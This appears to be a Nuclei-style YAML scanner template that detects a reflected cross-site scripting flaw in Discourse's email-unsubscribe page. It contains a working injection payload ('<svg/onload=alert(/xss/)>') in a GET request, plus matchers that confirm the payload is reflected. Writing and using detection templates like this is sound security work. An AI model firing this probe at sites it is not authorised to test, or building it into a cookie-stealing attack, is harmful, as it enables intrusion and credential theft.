38 lines
1.1 KiB
YAML
38 lines
1.1 KiB
YAML
id: discourse-xss
|
|
|
|
info:
|
|
name: Discourse - Cross-Site Scripting
|
|
author: madrobot
|
|
severity: high
|
|
description: Discourse contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
|
|
reference:
|
|
- https://www.cvedetails.com/vulnerability-list/vendor_id-20185/product_id-57316/opxss-1/Discourse-Discourse.html
|
|
- https://github.com/discourse/discourse/security/advisories/GHSA-xhmc-9jwm-wqph
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
cvss-score: 7.2
|
|
cwe-id: CWE-79
|
|
tags: xss,discourse
|
|
metadata:
|
|
max-request: 1
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "<svg/onload=alert(/xss/)>"
|
|
part: body
|
|
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|